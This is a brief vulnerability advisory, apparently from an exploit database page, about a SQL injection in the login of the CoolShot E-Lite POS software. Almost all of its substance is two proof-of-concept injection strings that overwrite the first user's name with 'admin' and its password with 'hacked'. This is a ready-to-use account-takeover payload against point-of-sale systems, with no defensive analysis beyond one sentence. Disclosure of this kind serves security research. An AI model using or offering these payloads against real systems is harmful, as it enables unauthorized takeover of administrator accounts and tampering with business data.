• info
• discussion
• exploit
• solution
• references

CoolShot E-Lite POS Login SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept queries are available:

-1' UPDATE users set user_name= 'admin' Where(user_iD= '1');--
-1' UPDATE users set user_pw= 'hacked' Where(user_iD= '1');--